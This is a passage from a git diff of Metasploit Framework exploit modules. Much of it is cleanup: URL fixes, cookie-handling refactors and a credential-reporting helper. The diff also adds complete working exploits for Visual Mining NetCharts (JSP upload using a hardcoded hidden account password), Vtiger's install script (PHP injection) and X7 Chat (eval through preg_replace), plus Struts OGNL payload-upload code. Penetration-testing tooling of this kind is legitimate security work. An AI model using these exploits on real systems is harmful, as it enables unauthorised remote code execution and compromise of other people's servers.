java.io.File('#{@payload_exe}').toURI().toURL()})," + exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()})," exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" - when 'windows' - @payload_exe = "./#{@payload_exe}.exe" - exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" + when 'win' + path = temp_path || './' + payload_exe = "#{path}#{payload_exe}.exe" + exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')" else fail_with(Failure::NoTarget, 'Unsupported target platform!') end + print_status("#{peer} - Uploading exploit to #{payload_exe}") #Now with all the arch specific stuff set, perform the upload. #109 = length of command string plus the max length of append. - sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length + sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length chunk_length = 2048 - sub_from_chunk - chunk_length = ((chunk_length/4).floor)*3 + chunk_length = ((chunk_length/4).floor) * 3 while pl_exe.length > chunk_length - java_upload_part(pl_exe[0,chunk_length],@payload_exe,append) + java_upload_part(pl_exe[0,chunk_length], payload_exe, append) pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length] append = true end - java_upload_part(pl_exe,@payload_exe,append) + java_upload_part(pl_exe, payload_exe, append) + print_status("#{peer} - Executing payload") execute_command(chmod_cmd) if target['Platform'] == 'linux' execute_command(exec_cmd) - register_files_for_cleanup(@payload_exe) + register_files_for_cleanup(payload_exe) end - def java_upload_part(part, filename, append = 'false') + def java_upload_part(part, filename, append = false) cmd = "" cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append})," cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," @@ -151,7 +186,6 @@ class Metasploit3 < Msf::Exploit::Remote t2 = Time.now delta = t2 - t1 - if response.nil? return Exploit::CheckCode::Safe elsif delta < sleep_time diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb index 709cbaabe0..f2365c7e34 100644 --- a/modules/exploits/multi/http/struts_default_action_mapper.rb +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote win_file = file.gsub("/", "\\\\") if session.type == "meterpreter" begin - wintemp = session.fs.file.expand_path("%TEMP%") + wintemp = session.sys.config.getenv('TEMP') win_file = "#{wintemp}\\#{win_file}" session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) session.fs.file.rm(win_file) @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Exploit::Remote def start_http_service # do not use SSL for this part - # XXX: See https://dev.metasploit.com/redmine/issues/8498 + # XXX: See https://github.com/rapid7/metasploit-framework/issues/3853 # It must be possible to do this without directly editing the # datastore. if datastore['SSL'] @@ -133,7 +133,7 @@ class Metasploit3 < Msf::Exploit::Remote }) # Restore SSL preference - # XXX: See https://dev.metasploit.com/redmine/issues/8498 + # XXX: See https://github.com/rapid7/metasploit-framework/issues/3853 # It must be possible to do this without directly editing the # datastore. datastore['SSL'] = true if ssl_restore diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb index cab5218aa2..39999bd92a 100644 --- a/modules/exploits/multi/http/struts_dev_mode.rb +++ b/modules/exploits/multi/http/struts_dev_mode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/struts_include_params.rb b/modules/exploits/multi/http/struts_include_params.rb index a2999d8026..555d03f990 100644 --- a/modules/exploits/multi/http/struts_include_params.rb +++ b/modules/exploits/multi/http/struts_include_params.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" - when 'windows' + when 'win' @payload_exe = "./#{@payload_exe}.exe" exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" else diff --git a/modules/exploits/multi/http/stunshell_eval.rb b/modules/exploits/multi/http/stunshell_eval.rb index c462041989..6612a08732 100644 --- a/modules/exploits/multi/http/stunshell_eval.rb +++ b/modules/exploits/multi/http/stunshell_eval.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/stunshell_exec.rb b/modules/exploits/multi/http/stunshell_exec.rb index 5ffe5b5e8f..33e003d6bd 100644 --- a/modules/exploits/multi/http/stunshell_exec.rb +++ b/modules/exploits/multi/http/stunshell_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/sun_jsws_dav_options.rb b/modules/exploits/multi/http/sun_jsws_dav_options.rb index 3931017cb7..0b33577286 100644 --- a/modules/exploits/multi/http/sun_jsws_dav_options.rb +++ b/modules/exploits/multi/http/sun_jsws_dav_options.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index d9ad21808f..ea07c3e3f2 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 12c2423529..75c6beda9c 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -118,15 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote return CheckCode::Unknown end - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) + report_tomcat_credential vprint_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}") return CheckCode::Appears @@ -209,15 +201,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]") end - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) + report_tomcat_credential # # EXECUTE @@ -315,4 +299,35 @@ class Metasploit3 < Msf::Exploit::Remote } end + def report_tomcat_credential + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: (ssl ? "https" : "http"), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: datastore['PASSWORD'].downcase, + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + create_credential_login(login_data) + end + end diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 5d24ce3b54..25bae56dff 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -126,15 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("#{peer} - Tomcat Manager found running on #{plat} platform and #{arch} architecture") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) + report_tomcat_credential return CheckCode::Appears end @@ -156,15 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote # print_status("#{peer} - Uploading and deploying #{@app_base}...") if upload_payload - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) + report_tomcat_credential else fail_with(Failure::Unknown, "Upload failed") end @@ -423,4 +407,35 @@ class Metasploit3 < Msf::Exploit::Remote return true end + def report_tomcat_credential + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: (ssl ? "https" : "http"), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: datastore['PASSWORD'].downcase, + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + create_credential_login(login_data) + end + end diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 219a01a5d6..932d09f4b3 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/uptime_file_upload.rb b/modules/exploits/multi/http/uptime_file_upload.rb index 08f3f8db30..02a764f046 100644 --- a/modules/exploits/multi/http/uptime_file_upload.rb +++ b/modules/exploits/multi/http/uptime_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/v0pcr3w_exec.rb b/modules/exploits/multi/http/v0pcr3w_exec.rb index ce816e90ef..1c94eb7118 100644 --- a/modules/exploits/multi/http/v0pcr3w_exec.rb +++ b/modules/exploits/multi/http/v0pcr3w_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb index 940ca89748..6c04144401 100644 --- a/modules/exploits/multi/http/vbseo_proc_deutf.rb +++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,13 +12,14 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'vBSEO <= 3.6.0 proc_deutf() Remote PHP Code Injection', + 'Name' => 'vBSEO proc_deutf() Remote PHP Code Injection', 'Description' => %q{ - This module exploits a vulnerability in the 'proc_deutf()' function - defined in /includes/functions_vbseocp_abstract.php. User input passed through - 'char_repl' POST parameter isn't properly sanitized before being used in a call - to preg_replace() function which uses the 'e' modifier. This can be exploited to - inject and execute arbitrary code leveraging the PHP's complex curly syntax. + This module exploits a vulnerability in the 'proc_deutf()' function + defined in /includes/functions_vbseocp_abstract.php for vBSEO versions + 3.6.0 and earlier. User input passed through 'char_repl' POST parameter + isn't properly sanitized before being used in a call to preg_replace() + function which uses the 'e' modifier. This can be exploited to inject + and execute arbitrary code leveraging the PHP's complex curly syntax. }, 'Author' => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/http/visual_mining_netcharts_upload.rb b/modules/exploits/multi/http/visual_mining_netcharts_upload.rb new file mode 100644 index 0000000000..9c4c7972c0 --- /dev/null +++ b/modules/exploits/multi/http/visual_mining_netcharts_upload.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + DEFAULT_USERNAME = 'Scheduler' + DEFAULT_PASSWORD = '!@#$scheduler$#@!' + SIGNATURE = 'was uploaded successfully and is now ready for installation' + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Visual Mining NetCharts Server Remote Code Execution', + 'Description' => %q{ + This module exploits multiple vulnerabilities in Visual Mining NetCharts. + First, a lack of input validation in the administration console permits + arbitrary jsp code upload to locations accessible later through the web + service. Authentication is typically required, however a 'hidden' user is + available by default (and non-editable). This user, named 'Scheduler', + can only login to the console after any modification in the user + database (a user is added, admin password is changed etc). If the + 'Scheduler' user isn't available valid credentials must be supplied. The + default Admin password is Admin. + }, + 'Author' => + [ + 'sghctoma', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-8516'], + ['ZDI', '14-372'] + ], + 'Privileged' => true, + 'Platform' => %w{ linux win }, + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + ['Visual Mining NetCharts Server 7.0', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 03 2014')) + + register_options( + [ + Opt::RPORT(8001), + OptString.new('USERNAME', [false, "The username to authenticate with"]), + OptString.new('PASSWORD', [false, "The password to authenticate with"]) + ], self.class) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/', 'Admin', 'archive', 'upload.jsp'), + 'vars_get' => { 'mode' => 'getZip' }, + 'authorization' => basic_auth(username, password) + }) + + if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE) + Exploit::CheckCode::Detected + else + Exploit::CheckCode::Safe + end + end + + def exploit + jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp" + print_status("#{peer} - Uploading JSP payload #{jsp_payload}...") + if upload(jsp_payload, payload.encoded) + print_good("#{peer} - JSP payload uploaded successfully") + register_file_for_cleanup("./webapps/Admin/archive/ArchiveCache/#{jsp_payload}") + else + fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed") + end + + print_status("#{peer} - Executing payload...") + execute(jsp_payload, 1) + end + + def execute(jsp_name, time_out = 20) + res = send_request_cgi({ + 'uri' => normalize_uri('/', 'Admin', 'archive', 'ArchiveCache', jsp_name), + 'method' => 'GET', + 'authorization' => basic_auth(username, password) + }, time_out) + + res + end + + def upload(file_name, contents) + post_data = Rex::MIME::Message.new + post_data.add_part( + contents, + 'application/octet-stream', + nil, + "form-data; name=\"FILE1\"; filename=\"#{file_name}\x00Archive0101140101.zip\"" + ) + + res = send_request_cgi({ + 'uri' => normalize_uri("/", 'Admin', 'archive', 'upload.jsp'), + 'method' => 'GET', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s, + 'vars_get' => { 'mode' => 'getZip' }, + 'authorization' => basic_auth(username, password) + }) + + if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE) + true + else + false + end + end + + def username + datastore['USERNAME'].blank? ? DEFAULT_USERNAME : datastore['USERNAME'] + end + + def password + datastore['PASSWORD'].blank? ? DEFAULT_PASSWORD : datastore['PASSWORD'] + end +end diff --git a/modules/exploits/multi/http/vtiger_install_rce.rb b/modules/exploits/multi/http/vtiger_install_rce.rb new file mode 100644 index 0000000000..3e76c223bf --- /dev/null +++ b/modules/exploits/multi/http/vtiger_install_rce.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + # Application database configuration is overwritten + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Vtiger Install Unauthenticated Remote Command Execution', + 'Description' => %q{ + This module exploits an arbitrary command execution vulnerability in the + Vtiger install script. This module is set to ManualRanking due to this + module overwriting the target database configuration, which may result in + a broken web app, and you may not be able to get a session again. + }, + 'Author' => + [ + 'Jonathan Borgeaud < research[at]navixia.com >' # Navixia Research Team + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-2268' ], + [ 'URL', 'https://www.navixia.com/blog/entry/navixia-find-critical-vulnerabilities-in-vtiger-crm-cve-2014-2268-cve-2014-2269.html'], + [ 'URL', 'http://vtiger-crm.2324883.n4.nabble.com/Vtigercrm-developers-IMP-forgot-password-and-re-installation-security-fix-tt9786.html'], + + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Payload' => + { + 'Space' => 4000, + 'BadChars' => "#", + 'DisableNops' => true, + 'Keys' => ['php'] + }, + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Vtiger 6.0.0 or older', { }]], + 'DisclosureDate' => 'Mar 5 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Vtiger', '/']) + ], self.class) + end + + def exploit + print_status("Injecting payload...") + rand_arg = Rex::Text.rand_text_hex(10) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'headers' => {'X-Requested-With' => rand_text_alpha(5)}, + 'vars_get' => { + 'module' => 'Install', + 'view' => 'Index', + 'mode' => 'Step5', + 'db_name' => "127.0.0.1'; if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } // " + }}) + + # Check timeout + if not res + print_error("Request timed out, please try again") + return + end + + if res.body =~ /name="auth_key"\s+value=".*?((?:[a-z0-9]*))"/i + authkey = $1 + phpsessid = res.get_cookies + + if authkey.blank? + print_error("No AuthKey found") + return + elsif phpsessid.blank? + print_error("No PHP Session ID found") + return + end + + print_status("Retrieved Authkey : #{authkey}") + print_status("Retrieved PHPSESSID : #{phpsessid}") + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'headers' => {'X-Requested-With' => rand_text_alpha(5)}, + 'cookie' => phpsessid, + 'vars_get' => + { + 'module' => 'Install', + 'view' => 'Index', + 'mode' => 'Step7', + 'auth_key' => authkey + } + }) + + print_status("Executing payload...") + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'config.inc.php'), + 'vars_get' => { rand_arg => '1' } + }) + else + print_error("No auth_key pattern found") + end + end +end diff --git a/modules/exploits/multi/http/vtiger_php_exec.rb b/modules/exploits/multi/http/vtiger_php_exec.rb index 54790d69ea..92472d92bd 100644 --- a/modules/exploits/multi/http/vtiger_php_exec.rb +++ b/modules/exploits/multi/http/vtiger_php_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/vtiger_soap_upload.rb b/modules/exploits/multi/http/vtiger_soap_upload.rb index 989520e072..d8c06a41c1 100644 --- a/modules/exploits/multi/http/vtiger_soap_upload.rb +++ b/modules/exploits/multi/http/vtiger_soap_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index bcccbb9c2a..f7a72adae9 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index 20d4a365d3..79008a0c42 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -90,8 +90,8 @@ class Metasploit3 < Msf::Exploit::Remote # Get the cookie in this format: # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka - if res and res.headers['Set-Cookie'] - cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0] + if res and !res.get_cookies.empty? + cookie = res.get_cookies else fail_with(Failure::Unknown, "#{peer} - No cookie found, will not continue") end @@ -141,9 +141,10 @@ class Metasploit3 < Msf::Exploit::Remote 'vars_post' => login }) - if res and res.headers['Set-Cookie'] =~ /user_name/ - user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || "" - pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || "" + if res and res.get_cookies =~ /user_name/ + c = res.get_cookies + user = c.scan(/(user_name\@\w+=\w+);/)[0] || "" + pass = c.scan(/(pass\@\w+=\w+)/)[0] || "" cookie_cred = "#{cookie}; #{user}; #{pass}" else cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" diff --git a/modules/exploits/multi/http/x7chat2_php_exec.rb b/modules/exploits/multi/http/x7chat2_php_exec.rb new file mode 100644 index 0000000000..4bbe7f9e23 --- /dev/null +++ b/modules/exploits/multi/http/x7chat2_php_exec.rb @@ -0,0 +1,193 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::PhpEXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution', + 'Description' => %q{ + This module exploits a post-auth vulnerability found in X7 Chat versions + 2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which + uses preg_replace() function with the /e modifier. This allows a remote + authenticated attacker to execute arbitrary PHP code in the remote machine. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development + 'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco + ], + 'References' => + [ + # Using this URL because isn't nothing else atm + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076'] + ], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Generic (PHP Payload)', {}]], + 'DisclosureDate' => 'Oct 27 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('USERNAME', [ true, 'Username to authenticate as', '']), + OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']), + OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']), + ], self.class) + end + + def check + res = exec_php('phpinfo(); die();', true) + + if res && res.body =~ /This program makes use of the Zend/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Unknown + end + end + + def exec_php(php_code, is_check = false) + + # remove comments, line breaks and spaces of php_code + payload_clean = php_code.gsub(/(\s+)|(#.*)/, '') + + # clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals) + while Rex::Text.encode_base64(payload_clean) =~ /=/ + payload_clean = "#{ payload_clean } " + end + payload_b64 = Rex::Text.encode_base64(payload_clean) + + cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }" + cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }" + rand_text = Rex::Text.rand_text_alpha_upper(5, 8) + + print_status("Trying for version 2.0.2 up to 2.0.5.1") + print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'headers' => { + 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };", + }, + 'vars_get' => { + # value compatible with 2.0.2 up to 2.0.5.1 + 'act' => 'user_cp', + 'cp_page' => 'msgcenter', + 'to' => datastore['USERNAME'], + 'subject' => rand_text, + 'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }", + } + }) + + unless res && res.code == 200 + print_error("Sending the message (#{ rand_text }) has failed") + return false + end + + if res.body =~ /([0-9]*)">#{ rand_text }/ + message_id = Regexp.last_match[1] + user_panel = 'user_cp' + else + print_error("Could not find message (#{ rand_text }) in the message list") + + print_status("Retrying for version 2.0.0 up to 2.0.1 a1") + print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'headers' => { + 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };", + }, + 'vars_get' => { + # value compatible with 2.0.0 up to 2.0.1 a1 + 'act' => 'usercp', + 'cp_page' => 'msgcenter', + 'to' => datastore['USERNAME'], + 'subject' => rand_text, + 'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }", + } + }) + + unless res && res.code == 200 + print_error("Sending the message (#{ rand_text }) has failed") + return false + end + + if res.body =~ /([0-9]*)">#{ rand_text }/ + message_id = Regexp.last_match[1] + user_panel = 'usercp' + else + print_error("Could not find message (#{ rand_text }) in the message list") + return false + end + end + + print_status("Accessing message (#{ rand_text })") + print_status("Sending payload in HTTP header '#{ rand_text }'") + + if is_check + timeout = 20 + else + timeout = 3 + end + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'headers' => { + 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };", + rand_text => payload_b64, + }, + 'vars_get' => { + 'act' => user_panel, + 'cp_page' => 'msgcenter', + 'read' => message_id, + } + }, timeout) + + res_payload = res + + print_status("Deleting message (#{ rand_text })") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'headers' => { + 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };", + }, + 'vars_get' => { + 'act' => user_panel, + 'cp_page' => 'msgcenter', + 'delete' => message_id, + } + }) + + if res && res.body =~ /The message has been deleted/ + print_good("Message (#{ rand_text }) removed") + else + print_error("Removing message (#{ rand_text }) has failed") + return false + end + + # if check return the response + if is_check + return res_payload + else + return true + end + end + + def exploit + unless exec_php(payload.encoded) + fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.") + end + end +end diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb index 57ec58c718..2fa72b9dfe 100644 --- a/modules/exploits/multi/http/zabbix_script_exec.rb +++ b/modules/exploits/multi/http/zabbix_script_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -79,7 +79,7 @@ class Metasploit4 < Msf::Exploit::Remote req = c.request_cgi({ 'method' => 'POST', 'uri' => '/zabbix/', - 'data' => 'request=&name=' << datastore['USERNAME'] << '&password=' << datastore['PASSWORD'] << '&enter=Sign+in' + 'data' => "request=&name=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}&enter=Sign+in" }) login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"])) @@ -88,7 +88,7 @@ class Metasploit4 < Msf::Exploit::Remote fail_with("Login failed") end - sess = login.headers['Set-Cookie'] + sess = login.get_cookies dash = send_request_cgi({ 'method' => 'GET', diff --git a/modules/exploits/multi/http/zenworks_control_center_upload.rb b/modules/exploits/multi/http/zenworks_control_center_upload.rb index eb09d6371c..f82eb98b9a 